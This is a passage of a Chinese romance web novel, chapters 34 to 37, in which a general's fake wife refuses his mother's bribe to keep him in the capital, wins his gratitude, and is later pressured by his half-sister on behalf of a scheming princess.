柳善因压低声音回复说:“小宝在家哭闹,他没办法就来寻我来了。这不昨晚练兵到今早才归家,困得不行就在这儿睡会儿。怎么了六娘子,你不是在陪夫人吗?怎么到这儿来了?” 姜阿月听着柳善因的解释,盯着睡得“不省人事”的赵留行看了半晌,她都懂,这人分明就是自己在家睡不着,非要巴巴跑来这儿躺人身边才能安心入睡—— 什么孩子都是借口罢了。 “六娘子?”柳善因不明所以,她歪着脑袋提醒两声。 姜阿月缓过神,哦了一下,“是母亲让我来寻娘子过去见她。” “夫人要见我?”柳善因有些为难,毕竟他现在有一大一小要看管,“可是赵赵将军他……” 姜阿月听出她的为难,但她却说:“不妨事的,母亲那边应是要不了多久。娘子带着小侄子一起过去,至于三哥哥,就让他在这儿睡着。我想这满院子里,除了咱们,应该也找不到一个 敢靠近他的。” “娘子就放心吧!” 赵留行幸好睡着,不若他若听见姜阿月说这些话,不知又该作何感想…… 长辈的命令难为,去也不是,不去也不是。柳善因没有办法,只能带着小的与眼前人速去速回。等到了半道碰上何斐真也来参宴,她老远便冲柳善因打了招呼,“善因,善因——” “没想到你也在!早知就与你一道来,诶?你咋还带着小家伙一块来了?是不是老三那家伙不帮忙看孩子?你跟我说,让我削他。”姜阿月和柳善因一块循声回眸,她竟不知眼前人在王城还有相熟的人。 何斐真来到柳善因面前,还是老样子,一张口就絮叨个没完。 柳善因怕耽搁时间,就先打断了她的对话,何斐真听说柳善因要去见秦宿荷,赶忙止语,“啊,你原是要去见侯夫人,那别耽搁快些去,咱们待会儿再聊也不迟。” 何斐真倒也识趣,她转身让道目送着柳善因匆匆离开。 半晌之后,赵留行听见有人在他耳边言语,只闻那熟悉且烦人的声音,叫他不觉在睡梦中蹙起了眉。 “赵大将军,还睡呢?” 赵留行迷迷糊糊睁开眼,却在望见何斐真的脸后,嫌弃地背过身去。何斐真见状不由得提高声调嘿了一声,“真有你的赵老三,媳妇都没影了,你还在这儿睡!” 第34章 第34章真诚小柳 赵留行睡得惬意,暖暖的春光打在身上,驱散了他在庭州多年的寒。 赵留行没理阴魂不散的何斐真。 气得何斐真跟小时候一样伸手拧了他的后勃颈。脖子上的皮薄,掐上那么一下痛觉直接涌上头顶,赵留行嘶了一声回身睁眼,冲着何斐真就是一句:“发疯啊你——” 狠厉的声音突兀落在这美妙的春日里,周遭的人惶然收起笑容惊恐望向这端。赵留行尴尬地坐在地上揉揉后颈,却见何斐真怒目回怼:“嘁,乱叫什么,我还以为你死了呢!” 等缓过劲,赵留行环顾四周这才察觉到柳善因不在自己身旁,他被迫清醒看向何斐真。 “你怎么在这儿?小柳呢?” “我怎么在这儿?你小子都能在这儿,我凭什么不能来?”何斐真咂咂嘴,“你这人也真有意思,这么好的探春宴,你不说陪着你家那位好好转转,竟然躲在这儿睡觉!好不识趣。” “废话真多,我问你小柳呢?” 赵留行跟何斐真两个说话,永远像干仗。他甚至怀疑,他们俩个是不是八字犯冲,一见面就掐。 何斐真起身抖抖裙摆,斜眼瞥了赵留行,“这会儿想起善因妹妹来了,晚了,叫你娘给请到不知何处去了。” 我娘? 赵留行惑而不语,他想了半晌才想起秦宿荷来。 “人往哪去了?去多久了?”赵留行站起身,跟何斐真肩并肩。何斐真闻言朝东指了指,“往那边去了,跟她一块的还有个小娘子。也没多久吧,大抵一刻钟不到?” 何斐真不确定,只能说个大概。 可赵留行压根没听她把话说完,抬脚就往东走。何斐真抬抬手,看他着急忙慌,免不得朝赵留行的背影念了句:“诶,你小子,急个什么——那边还能吃人不成!”- 姜阿月领着柳善因来到一处静谧的水榭处停下,此地是晋国夫人专为贵客休息准备的,眼下被秦宿荷一人占着。二人站在水榭外头,姜阿月眯眼冲柳善因说:“娘子进去吧,母亲在里面等你。” “六娘子不进去吗?”柳善因纳闷。 姜阿月摇摇头,“母亲找娘子有话说,我在这里等着就好。” 柳善因抿抿嘴,孑然一身的她,在这些人面前总是这样沉默地听命。等悄然推门而入,秦宿荷高贵的背影就落在水边明亮的长窗旁。 她听见动静,甚至连眼都没抬。 柳善因便兀自抱着孩子拘谨站在阴暗的门边上,屋子里熏的是种很名贵的香,柳善因闻不出。她试着抬头瞧,却被秦宿荷沉闷的嗓音压了回去,“愣在那干什么?过来。” 此间水榭里唯她与秦宿荷,和个睡熟的娃娃。柳善因似乎察觉出当下的侯夫人很不一样,但她还是硬着头皮上了前,“夫人您找我吗?” “娃娃怎么来了?”秦宿荷微微侧目。 柳善因垂眸掩了掩小侄子的脑袋,“孩子哭闹,将军没办法就来寻了我。” “三郎居然来了?”秦宿荷有些惊讶。 柳善因点点头,“将军有些累,就在那边歇息了会儿。” 秦宿荷看了女郎几眼,也没说旁的。 柳善因心下操心着赵留行,便试探着去问:“您寻我…是有事吗?” 秦宿荷回过头,窗边斜插在瓷瓶里的海棠,被水面上刮来的风吹上了桌案。她随意捻起一朵,将其碾成了泥,“有些话,我就不与你兜圈子了。圈子兜多了,就没意思了。柳氏,我虽不知你出身为何,又从哪来,但瞧着谈吐与见识,便知你与三郎,打根上就是不相配的人。” “我与三郎的爹虽已和离多年,可无论从前发生过什么,他都是护军府的郎君,和奉宁侯的继子,这点永远是无法更变的。王城没有哪家高门,会准允像你这样出身的女郎,做他们家郎君的妻,更莫要提还让郎君为她拒了王府的婚。” 可什么是相配?什么又是不相配? 是谁认为的相配?又是谁认为的不相配…… 柳善因不懂。 尽管她与赵留行不过是逢场作戏,但在听见眼前人这冠冕堂皇的话后,还是会凝眸不悦。 她不喜欢她这样的表达。 但秦宿荷自小生在高门,长在高门,就是那道门给了她殊荣,也将她捆绑。 她见柳善因没有反应,继而开口道:“你应该很明白,赵家已将你视作眼中钉,你便很难再有翻身的机会。如果你今后还想和三郎在一起,就与我做场交易,让三郎死心塌地留在洛阳,一辈子不再离开,我便许你一世都享不尽的荣华富贵。” 柳善因对秦宿荷的话,感到茫然。 秦宿荷看向她,自以为开出的条件,没有人能拒绝。直至此刻,她都一门心思觉得自己是在为赵留行好。 可她却忘了… 那时的赵留行,到底是因为什么才逃离故乡…… 柳善因的沉默,不是默许,更不是贪心。她想了很久,忽而反常地大胆道:“您今日叫我来,原就是为了让我帮您把将军留下来。只是夫人,您这么做有问过将军的意见吗?他自己想留下吗?我觉得您不若还是和将军……” 柳善因认认真真回答着秦宿荷的话。 秦宿荷却打断了她,“你在质疑我吗?我做这一切,难道不是为三郎的安危着想?你亦是为人父母,岂能不懂这样的道理?我这么做,三郎或许现在不懂,但他早晚有一日会感谢于我。” 秦宿荷口口声声为赵留行,却字字句句都是自己。 她分明对赵留行的态度心知肚明,偏要一意孤行。这样的爱,何尝不叫人窒息。 柳善因虽然愚笨,却分得清是非善恶,秦宿荷不讲缘由邀她过来,还摘掉她精心养护的芍药花,她能忍;她们用言语攻击她,她也能忍。她什么都能忍,唯独这件事她实在忍不下去。 她不能替赵留行做决定。 柳善因躬下身,如是说:“既然您未曾问过将军的意见,那就恕晚辈不能答应您的要求。” 秦宿荷得到这样的答案,实在不可思议。她有些恼怒,“见识浅薄——王城富贵繁华,你就这么愿意跟着他到庭州那鬼地方去吃苦?你自行其是不想自己,也不为孩子考虑?” 柳善因不敢看秦宿荷愤怒的眼睛,她张口时气势虽弱,但还是把想说的话,说了出来,“可……可将军也是个人,是人就有自己的人生,没有人能为他的人生做主。” “我是他娘,我能为他的人生做主!”秦宿荷说柳善因固执,可自行其是的到底是谁? 都道奉宁侯夫人玉软花柔。 殊不知,她对待起赵留行的事亦有强势霸道的一面。 柳善因被秦宿荷噎得哑口无言。 她本就不善言辞,此番与眼前人对峙,已是使出了浑身解数。柳善因捏着娃娃的衣角琢磨半晌,终在秦宿荷开口前,真情实感道:“夫人,您有看过将军马上行军时的神气模样吗?” “……” 秦宿荷答不上来。 柳善因却坚定地说:“我见过。” 她抬起头,将眼眸落于波光粼粼的水面上,此刻,她眼中浮现的都是赵留行往日里的模样,“可那样的意气风发,在我来到王城后就再未见过了。宫中的差事每两日一次,一次三两日才能归家,将军每每迎着暮色下值还家,眼中的光比那黄昏时的残阳还要黯。” “我不知道将军究竟愿不愿意,按照您的意愿一辈子留在这里。但我看得出,将军他很累,他一点也不喜欢这样的生活。所以,我希望夫人在做某些决定前,能过问过问将军的意见。” “哪怕一次也好……” 柳善因说得每一个字都真实不虚,她虽笨拙,却最坦诚。 秦宿荷为之错愕不已,她有那么一瞬间的触动。最终却把注意落在了眼前人身上,她想自己到底是小瞧了她,她原以为眼前人不过是个不经世事的呆笨女郎,只需稍稍引诱,便能为她所用。 不成想,她竟算错了棋。 屋内掷地有声,谁知这话不止说进了秦宿荷的耳朵里,亦说进了某个人心里。 躲藏在雕花门外的那双眼,为柳善因垂落。 正巧撞上这一切的赵留行怔然立在原地,他忽然发现好似打出生起,所有人都在对他提要求,从未有人像今天这样为他说话,也没人能同柳善因一样理解他。 原来,他能被人看到…… 女郎的声音一遍遍翻覆,赵留行头一遭发自内心地笑。 而后,他默默敛去笑容,猛然抬手推门,抢在秦宿荷为难柳善因前,走去牵起女郎的手掌。柳善因被赵留行吓了一跳,赵留行却死死抓着她不放,“赵赵将军…你什么时候来的?” 赵留行没应声,只一味拉着女郎向外走。 秦宿荷见势不对,转眸换做慈母相,扬声唤了声:“三郎。” 赵留行攥着柳善因的手,感受她的温度朝自己掌心传递,莫名有了许多底气。 他定下脚步,站在门前转眸去看身后人愈渐模糊的脸,沉声说:“我家内子以后不会再参加任何让她为难的宴会,你们喜欢这样的游戏,那是你们自己的事,别再强加给不喜欢的人,不若别怪我翻脸无情。” 赵留行话里话外意有所指,秦宿荷愣而无言。 直到,赵留行在离开前,面无表情抛下那句:“至于那件事的答案……我只说一次,我这辈子宁在北庭丢了命,也不愿再这儿失了心,不若当年我就不会甘愿那样离开。” 秦宿荷才被气得打翻了案上装有海棠的瓷瓶,她望着二人离去的方向嗤然大笑,这丫头和赵三郎难怪能走在一起,他们真是一样的“不知好歹”,一样的…… “方头不劣”。 第35章 第35章回家路上 出了水榭的门,赵留行牵着柳善因一言不发走过明暗交替的树荫,走过探春宴里往来游人凝视的目光,直冲园外走去。 彼之,贺盈安端坐在不远处的角亭,冷眼看着二人掠过自己眼前,无动于衷。侍奉的老嬷下意识垂眸看她,周遭知情的人也纷纷瞟去她坐的方向,她却端起桌案上的茶盏轻轻吹了两下。 贺盈安的态度了然。 她压根不在乎什么呈王府与护军府姻亲永固,也不论贺松月若真是强行嫁了赵留行是否幸福?她只是单单不想赵留行好过,不想秦宿荷顺心,她偏要将清水搅浑。 没有缘由,贺盈安自始至终就是个这样无情也无义的人,若不然她也不能和赵无征这等卑鄙小人共处了那么多年。 “我记着端午前,皇帝要往北郊巡视,三卫的人基本上都要跟着去个一旬左右?” 贺盈安张口时看似漫不经心,实则暗藏深意。 那柳氏女的身份太干净了,干净得让人起疑,单只有一个孤单单的姓名,再无丝毫破绽。 贺盈安无从下手,她只能想些法子,瞧瞧端倪。 老嬷闻言说是,贺盈安捧着一口未饮的茶盏挑眉道,“那就寻个由头把人请到家里来吧。”老嬷心领神会,可她却问,“只是殿下要寻个什么由头?若叫咱们出头,左右瞧着也不合适……” “大娘不是在家闲着?叫她去。”贺盈安早将手里的牌,盘算一二。 老嬷纳闷,“大娘?她能同意吗?” 贺盈安冷哼一声,眼中尽是轻蔑,“一个被休的弃妇,还领着个丫头,能叫她养在府里已是恩典。还有她选择的权利?此番,她是去也得去,不去也得去。” 老嬷点点头只道:“老奴知晓,等回去老奴便去通知大娘。”- 园子外,香车并停, 赵留行牵着柳善因热乎乎的手,一时忘了放。 柳善因站在赵留行的身旁,对适才的事心有余悸,根本顾不上发羞,可等她试图悄悄从赵留行的掌心脱离,却发现眼前人将自己捏得太紧,几根手指错在一起,都快被其捏成了鸡爪去。 手是这样牵的吗? 柳善因没和别人好好牵过手,也不太懂,她只知自己不太舒服,便低声唤道:“赵赵将军……” “嗯?”赵留行回过头,茫然朝女郎看去。 “可以放开我了吗?我的手好痛。”柳善因看着他的眼睛,有些为难地动了动自己的手臂,赵留行这才反应过来,慌里慌张将人松去,“抱歉。” 柳善因低头一瞧,自己的手指已经被人捏得没了血色,吓得赶忙甩了甩,直到指尖重新变红才跟着松了口气。 赵留行却垂眸盯着空荡的手掌不语。 他似乎在回味掌心上残存的触感,许久之后,一抹难以察觉的笑便不自觉攀上了他的嘴角。这是赵留行生平第一次牵陌生女郎的手,他感慨原来与人牵手是这样…… 柔软,温暖,让人心痒痒。 暮春风和日暖,小侄子跟火炉似的脑袋将柳善因胸口的位置暖得火热,她不由得把娃娃调换了方向,赵留行恰巧抬头瞧见,顺势将手伸了过去。 柳善因没反应过来傻乎乎地问:“没人看着也要牵手吗?” “……” 赵留行被她弄得羞而无言,只得默默将手搁去小家伙身上,沉声说了句:“孩子给我抱。” 人家是这个意思啊! 柳善因尴尬得不行,她在将小侄子交给赵留行后赶忙转移了话题:“赵赵将军你是怎么过来的?走路吗?” 赵留行嗯了一下,柳善因点点头,“那咱们现在回家吗?” 赵留行没在做声,抬脚就打算朝西走。不成想却被个陌生的马车拦住去路,柳善因与赵留行便纷纷抬头去看,长夏竟从车里探出头来,“郎君夫人,是要回家吗?” “长夏?” “你怎么在这儿?” 二人异口同声。 长夏眯眼笑道:“我就知道郎君来这儿找夫人定是呆不了太久——这不我出门买东西正好碰上表哥干活回来,就想着到盛春园来瞧瞧二位用不用乘车归家,没想到,还真叫我碰上了。” 长夏来得还真是时候,赵留行转眸与柳善因对了个眼神,扶着人登了马车- 归家的马车上,长夏和表哥坐在车外,柳善因则与赵留行对坐车内。 车厢外的兄妹二人有说有笑,车厢内却是一片死寂。柳善因这会儿才意识到自己适才在赵留行的亲娘面前说了什么话,她有些不好意思抬头。 赵留行却忽而道了声:“谢谢。” 眼前人极少道谢,柳善因不可思议地举目,“我说的话,赵赵将军都听见了?” 赵留行应声说:“听见了。” 柳善因便将头又低了下去,她又开始反思起自己来,“赵赵将军不必谢我,我不过实话实说罢了。我哪里能替赵赵将军做主?只 是我说那些话,夫人会不会不高兴啊……” “毕竟她做这些,也确实是为了你。” 赵留行眼中有些困意,他恍惚望去女郎髻上不再旺盛芍药沉声说:“她说那些话,做那些事的时候,也未曾想过别人会高不高兴。而且她到底是为了我,还是为了她自己,便只有她一人清楚。小柳你不必为这些事,去责怪自己。” 柳善因点点头,乖乖应了声:“好,我明白了。” 赵留行敛去目光,又忽而想起什么,“哦对了,还有一事忘记与你说,这个月底我要到北郊伴驾,大抵一旬才能归家,这次去的久些,你有什么事就让长夏,或者土酥差个跑腿的过去送信。” 赵留行说着突然从腰里掏出了自己的钱袋,向柳善因交去,全然就像个即将远行,但放心不下家中妻儿千叮咛万嘱咐的啰嗦郎君,“给,这是我的钱袋,长夏的账是用做维持府中开销的,你若是想买什么用什么,亦或是小家伙需要什么,就花这里头的。” 柳善因懵着脑袋看向赵留行,她哪能要他的东西,便将赵留行抬起的手小心翼翼推了回去,“不成不成,赵赵将军快把钱袋收起来。我有钱的,你忘了?还是你给找回来的……再说了,我和小宝能像现在这样白吃白喝已经很满足了,怎么还能拿您的钱袋!那也太得寸进尺了——” 赵留行纳闷,这送钱还有送不出去的? 他盯着柳善因看了半晌,看着柳善因一脸抗拒的模样,却并未死心,他竟将钱袋搁在柳善因旁边的空荡处,换了个借口道:“去北郊伴驾事多缠身,你把钱袋收好,就当是帮我保管。等我回来,你再交还与我。” 柳善因听钱袋重重落下的声音,再回眸瞧了瞧难以推却的赵留行,只能老实将东西收下。 “那好吧。” 赵留行见势也不再吭声,在对面合上了眼。 柳善因悄悄掂量手里钱袋的分量,想着偷偷摸摸打开看上一眼,却被袋子里头的东西惊掉了下巴。 她对钱完全没有概念。 天了个地姥娘娘,好多白花花的银锭子!赵赵将军的俸禄竟这么高吗? 其实不然,这些不过是赵留行原先在北庭整日只顾忙忙碌碌,几乎很少有能用到银子的地方,他也没什么花钱的欲望,久而久之这钱袋子就越攒越鼓,就这风听那小子还在他这儿借了好多还没还。 柳善因吓得赶忙合起钱袋。 她摸索摸索,约摸着得放个什么地方才安全,不若保管不好,她可没那么多钱赔给他。 赵留行这会儿坐在对面困意上头,脑袋不受控地随着马车颠簸来去,眼看几次要磕上小家伙圆乎乎的头顶,却都被其悄然规避。 只是等柳善因堪堪将钱袋塞进腰间的贴身处,就听对面梆的一声巨响。 娃娃也瞬间呜哇起来。 “嘶——” 柳善因抬起头没搞清状况,她只看到赵留行皱起的眉心,和小家伙微微发红的脑袋。 而后,随着娃娃的哭声愈来愈大,赵留行疼得弯下了身,柳善因才反应过来慌慌忙伸手,赵留行私以为眼前人是要去接自己怀里的娃娃,便准备去递。 哪知道待他抬起头,那双柔软的手掌就正正好落在了他的眉心。 “你没事吧赵赵将军,没有磕坏吧!”柳善因慌忙在赵留行额头上揉了两下,她心想先查看查看大的,再去哄哄小的,便把这事缓了,压根没想太多,全然忘记那句男女有别。 赵留行木然愣在原地,被女郎触及的眉心隐约透着麻意,惶惶然与眼前人四目相对,赵留行下意识抓住女郎的手腕,柳善因终于察觉不对劲,却一时忘记挣脱。 “我……” 赵留行刚想应声,就被闻讯掀帘探看的长夏打断了情绪。 “郎君夫人,小郎君怎么了?怎的一直哭呢?” 长夏探身而来,望着车内的景象目瞪口呆。他握着她的手腕,她望着他的眉眼。啧啧,这里头的气氛好生暧昧,就跟话本子里写的一样! “怎的?” 兄妹两个一样多事,表哥见长夏不说话也为之转眸。可长夏岂能叫表哥打扰了这样好的氛围,这样好的时机,瞧她转头就放下帘子将表哥的目光挡了回去,“没事。” 对,赵留行咂咂嘴,他想说的就是一句…… 没事而已。 第36章 第36章开始贪心 去往北郊伴驾的那天早上,赵留行迎着破晓的曦光醒来,鬓边凌乱的碎发随风飘了两下,他迷离着睁眼瞧,床上熟睡的女郎经过一夜“挣扎”,又把被子掉在了地上。 赵留行伸手掀开身上的薄毯,默默起身捡起被子朝帐中盖去。 柳善因翻了个身,吓了他一跳。 赵留行双手悬空半晌不敢落,直到眼前人轻浅的鼾声再次响起,他才敢将被子重新覆去女郎身上。他实在记不清这是他们结为假夫妻后,自己第几次为她盖被子了。 他也不知缘何这被子就是不能牢牢呆在女郎身上? 赵留行刚松了口气,坐床那边就发出了动静,他便不得不转眸看去。 小祖宗竟然醒了! 赵留行不小心与娃娃对上眼神,吓得连忙瞟向别处,他想装作无事发生,却为时已晚,小祖宗现在只要一看见他,就跟看见亲爹似的哼哼唧唧的撒娇。 只见,娃娃供着小枕头爬起身,张着愈渐圆润的手臂就要赵留行抱。 “……” 赵留行本想悄无声息地溜掉,没成想小祖宗还是快了一步。他其实也不担心别的,他只是莫名害怕娃娃张口吵到柳善因睡觉,才无奈转身妥协抱起了朝他张开怀抱的小祖宗。 赵留行边伸手,边小声低语:“行了行了,跟我去换换衣裳,再后头用早饭成不成?” 娃娃瞧着似懂非懂地趴进他宽厚胸膛。 赵留行叹叹气,重新精神抖擞地踏出了屋门,这一遭去往厢房换衣,他终是吸取了上次的经验教训,特意用薄薄的外裳将小家伙整个罩住。 彼之,赵留行露着胸膛环臂望向床上努力挣脱的小人,蓦然笑起。 他啊,总算是扳回一城。 赵留行回身掀起木箱,今朝伴驾需着与自己品阶相对的战袍,可他却看着压在箱底蒙尘的战袍,忽而变了颜色。那蒙在战袍上的尘埃,好似覆去了他的眸上。 北庭归来半载,怎就恍若一世那么长? 赵留行眯眼攥起掌心,再这样下他恐怕都快记不清…长刀握在手里的重量了…… 前路茫茫,就跟他的战袍一般黯淡。 是啊,就如柳善因说得一样,那样的意气风发在他身上再也见不到了。 赵留行无言伸手拿起战袍吹了吹上头的浮灰,默然穿上了身。只是等征衣上身那刻,窗外的天光随之大亮,闪耀的光芒落在他的铠甲上,又重新带给他希望- 赵留行换罢衣裳从厢房单手抱着娃娃出来,碰上晨曦挂在天际,美得让人沉醉,他便与王城里许多迎着霞光奔波的人一样,不由得为之短暂驻足。 “快看那边——”赵留行望向城东,娃娃追着他的目光望去,小小的眼眸瞬间变得闪亮。 小家伙也不再计较适才被他戏弄,与之和好如初。 “父子”两个就这么不言不语一 同望向天边,默契地感受着充满生机的春天,带给他们的美好。赵留行偏过头不明白小家伙的脑袋里总在想些什么,只看到他对远方的向往。 小家伙也不明白这个大家伙总在说什么,只在回头和他对上眼神后,使劲往他脸上蹭了蹭。 有一瞬,就那么一瞬,赵留行生出了个他从前最不可能生出的念头。 如果就这样安稳地过上一辈子是不是也挺好?赵留行起初不懂,直到遇见柳善因后,他才知晓原来家中可以灯火通明,温暖可亲,原来句句话都能有人回应,原来…… 闭上眼就会期望明天。 赵留行头一遭没有躲开小家伙的撒娇,他往前只是不知该如何回应,才故意一次次避开。而今日他出奇地摸了摸小家伙的脑袋,和声和气地说:“走了小宝,去后头吃饭喽。”- 土酥天没亮就给全府人煮好了豆粥,蒸好了笼饼。等赵留行来时,她刚搬着躺椅在檐下小憩。她平日只管做饭,其余端饭送饭的活,一般都等着长夏来干。 说起来,这家没有勤劳的长夏都得散—— 赵留行来到院中瞧见土酥打盹,也没苛责。他这人不是什么郎君命,有人伺候,没人伺候都行。 他便自己抱着娃娃盛粥吃饭。娃娃今日也是惊人的乖,他就好似知晓赵留行要很久不在家般,安安静静呆在他怀里。弄得赵留行都觉得好像抱错了娃。 饭吃完了,时辰也差不多了。 赵留行就打算回屋把小家伙放下上值去,但瞧一直到等他起身离开,土酥这丫头都没睁过眼。 屋里,柳善因从梦中醒来呆呆坐在床上,缓缓将脚从被子伸了出来,她睁着一只眼扫视过周遭,刚纳闷这一大早屋里的人怎么都没了踪影? 赵留行便抱着孩子跨门而来,冲迷糊的柳善因问了声:“起了?” “嗯……这么早你们去哪了?带小宝去吃奶了吗?可后半夜不是才喂过吗?”柳善因随即撩起帘子往外望,像个絮叨的阿娘问个没问,赵留行听着她的问话没觉得烦。 他来到床边将小家伙送去了床上,沉声答曰:“没,他醒得早,我怕他吵你,就给带着出去转转。” 说话间,小侄子爬进了小姑怀里,眼中带了几分困意。柳善因揉了揉小侄子软和和的后背,一脸笑意,这会儿小家伙就像个小狗崽一样,用他毛茸茸的小脑袋蹭她的手臂。 柳善因边哄着小侄子,边抬眸跟赵留行说:“没关系的,下次小宝醒了,把他丢给我就好。” 帘帐相隔,加之柳善因刚睡醒,此刻她眼眸里的赵留行便模糊不清,可柳善因还是眯眼笑着问他,“赵赵将军,是不是该到北郊去了?去这么久,需要带些什么东西吗?” 赵留行转过身,不再看姑侄俩的其乐融融,他瞧着就像是怕自己舍不得,“那边什么都有,不用准备。时辰不早,小宝交给你了,我还得进宫一趟,先走了。” “好。”柳善因清醒着双眼点点头,她没说太多,但一个好字足矣让赵留行安心。 待到抱着娃娃从床上起身,柳善因恍然间发现。 他刚才是不是叫了声小宝……- 赵留行临走前特意交代了长夏,今后只要他不在的时候,任何闲杂人等登门一律轰走。可这日赵家大娘带人登门,一瞧就是有备而来,长夏一人怎能挡得住他们人多势众? 赵温香压根没等她把话说完,挤了她就贸然往府中去。长夏拼命在后阻拦,她却一个劲地往院里寻,“您不能进,三郎君吩咐过的,您真的不能进!您进了我们郎君会不高兴的。” 赵温香最后还使了个眼色,叫使人将长夏拦住,自顾自地扬声找寻:“柳娘子?柳娘子在否——” 一群人就这么混混乱乱去到后院,终是和坐着菜园子前啃瓜的柳善因照上了面,柳善因衔着半口香瓜愣愣看着忽然出现在家中这群人,吓得差点没将瓜皮掉在地上。 赵温香收敛声音,定睛望向柳善因。 柳善因慌忙起身瞠目望着眼前人,长夏摆脱束缚跑去柳善因面前,低声与之解释:“夫人,赵家大娘来了。” “谁家大娘来了?”柳善因听不明白。 长夏撇撇嘴,警惕地看了眼赵温香,继续小声说道:“就是三郎君庶出的大姐,刚才我不叫她进来,竟是拦都拦不住。不对劲,抬不对劲,她跟咱们郎君压根就无甚交集,她来做什么?我约摸着这人就没安好心,夫人千万小心!” “有当着客人这般窃窃私语的吗?有什么话不能叫我听听?”赵温香昂了昂头,绛紫色的耳坠子随之晃了三晃。 长夏闻声退后,土酥那头见状拎着大勺走了过来,柳善因也收起瓜皮抬眼看她。 赵温香看院中人眼神没有敌意,更多是种无所谓的感觉,她缓缓上前吓得三人往后退了又退。谁料,她竟自觉拉起菜园子的藤椅,也不管那上头的尘土会不会污了她的罗裙,便不紧不慢地坐下。 “你就是我阿弟外娶的柳氏?” 赵温香瞥了眼柳善因,随后拍了拍身旁的空椅子娇声道:“坐下聊聊。” 第37章 第37章又一个坑 柳善因立在不远处,茫然望着藤椅上从容自在的人,她完全搞不懂眼前人此番何意。赵温香却转眸望向充满生机的菜园子,好奇了句:“柳娘子还会种地呢?” 柳善因不答,赵温香便无趣地将手臂环起,“怎么?柳娘子不打算坐下吗?” 柳善因盯着赵温香看了半晌,大抵是知晓眼前人是不达目的誓不罢休,便硬着头皮上前两步开口道:“赵娘子,请问您今日过来是……” 不成想又被我行我素的赵温香打断。 柳善因抬头看着眼前人在环顾四周后,扬声道:“孩子呢?怎的未见我那小侄子呢?” 柳善因听到赵温香提及小宝,不敢轻易应声。可她这话压根不是说给她听的,只见赵温香说着,转眸便冲领来的使人们授意道:“去——把孩子给我寻来。” “你们寻小宝做什么!” 柳善因闻言再也按捺不住,快步冲去就打算阻止那些不怀好意的人,居然被赵温香眼疾手快一把给拉了住。柳善因讶然回头,竟见赵温香将嫩白的手指轻轻抵在唇间,意味深长嘘了一声,似是示意柳善因安静。 “你!”柳善因试图甩开赵温香的束缚,眼气人却紧抓着她不放。 一直待到长夏和土酥追着那些人消失在院外,赵温香才松去柳善因的手腕缓缓吐口:“由着他们去吧,你今日若想安安稳稳把这事解决了,就听我的。” “你什么意思?”柳善因茫然不解。 赵温香卸下装出的那股子骄纵,换上一副冷漠相倚在藤椅上阴声道:“长公主要借我的手,寻个由头将你接到府上去,我不知她意欲何为,但我猜一定是为着呈王府的那档子事。” “可我已自身难保,三郎娶谁,不娶谁,对我来说根本无关紧要,若不是那位拿我家小女威胁。我压根不会来。所以咱们素昧平生,我不为难你,你也别让我为难。” 赵温香倒也坦荡。 她的良心未泯,自那日接到贺盈安的差使后,她便没有一刻想过要用坑害眼前这无辜之人的办法,来保全自己。赵温香不会任由贺盈安摆布。 她哪怕被休被弃,也未有一日跟谁低下过头。 眼前人直截了当,柳善因似乎感觉到她对自己没有敌意,但还是提防着试探:“我凭什么信你?” “你自然可以不信。” 赵温香昂起头望向院墙,又被天边的白云吸引注意,“可你别无选择,那些使人都是有备而来。我不过是他们摆布的傀儡,你今天无论如何都逃不掉,你能相信的只有我。我的任务不过是将娘子带去护军府,只要娘子能帮我掩人耳目,让那位拿不到我的错处,我便信守承诺帮娘子脱身。” 柳善因迟疑,她不明白眼前人说得是真是假。 但就如赵温香所说,倘若对方今日真来硬的,她在护军府能寄希望的仅她一人而已。 就在柳善因踟蹰不定之时,院外去寻孩子的一众使人便气势汹汹带着乳娘和啼哭不止的小宝行来,而此时土酥和长夏竟不见了踪影。 柳善因看着娃娃在哭惶然上前,却被无情拦下。 “让开。”柳善因还是第一 次这般厉声说话。 而使人偏视她为无物,赵温香见状若无其事抚袍起身,来到众人面前想要替柳善因接过小家伙,没成想那些人竟连她也防。赵温香眯起眼睛,不怒自威,“怎么?我连抱抱自家侄子的权利也无?” 再如何赵温香也是赵家长女,使人们靠着贺盈安的威风,料她也不敢耍什么花招,便不情不愿地将孩子交进了她手中。 这时间,院墙将光影一分为二。 使人们站在背光的地方,而对面应光而立的柳善因和赵温香,便自然而然站在了一起。赵温香到底是生养过孩子,娃娃到她怀里不过半分,就渐渐停止了哭泣。 柳善因转眸看向使人,忍不住追问:“你们在这儿,长夏和土酥呢?” “夫人,长夏娘子和土酥娘子被她们关进了书房。”乳娘抢着应声,为首女使见状瞪了乳娘一眼,“哦,那二人阻拦我们家娘子见孩子,我们也是被逼无奈,才将人给关了去。” “把人给我放了!你们怎么能这么做呢——”柳善因忍无可忍,使人似有预谋般如是说,“娘子莫急,等您从府里回来,人自然就放了。这样张狂的下人,是该给些教训。三郎君平日没工夫打理这些琐碎,那我们便替三郎君好好给她们立立规矩。” 软禁府中人,以防通风报信,还想拿孩子相要挟,这些人就是铁了心要带自己走。 柳善因量小力微,压根不知该如何破局…… 赵温香恰在此时开口,只见她又换回了那个骄慢的模样,“柳娘子,我若不是为阿弟着想,心疼我阿弟,今日压根不会特意过来帮你劝你,你莫要不识好人心。阿弟如今为了你与家里闹得这样僵,你难道就忍心看着他一直为难下去?你难道就想孩子跟着一样得不到个名分?” 赵温香脸变得比翻书还快,打了柳善因个措手不及。 她倒镇定自若,继续演给众人看,“今日正巧赶上家中设宴,咱们作为晚辈何不借此时机,跟长辈示弱求和?母亲和父亲不是个不通情理的,如此寻个大家都能接受的法子,莫叫我阿弟在中间为难。他怎么说,都是家里的儿子,总不能一辈子不归家啊。” 赵温香一通“苦口婆心”说得差点自己都信了,一旁的使人为之诧然,柳善因更是愣而无言。 原这就是她想的由头, 柳善因抬眸跟赵温香对上眼神,将信将疑地应声:“我,我知晓长姐是为将军好,可是我……” “知晓我的良苦用心便好,便好。你能这样想,我心甚慰,那且与我一道回府吧。时辰宜早不宜迟。”赵温香没给柳善因反应的机会,领着人就要往外走,使人却伸手要将娃娃扣下。 赵温香为了取得柳善因的信任,亦是为了娃娃的安全,悄然躲开。她质问眼前人那,“孩子由我抱有何不妥?” 使人暂不敢开罪,只得作罢。一众人就这样心思各异地往府外走去- 去往护军府的马车上,赵温香抱着娃娃闭目养神,一脸的淡然。 柳善因却如坐针毡。她实在没底眼前人究竟可不可信,但适才被那么多双眼虎视眈眈着,她就是想逃也无处可逃。 彼时,马车缓慢行进,使人追随在左右,将其围做一个囚笼。 赵温香不用睁眼,便知身边人的彷徨与不安。 可早将这种事看遍的她,不是不怕了,是习以为常了。 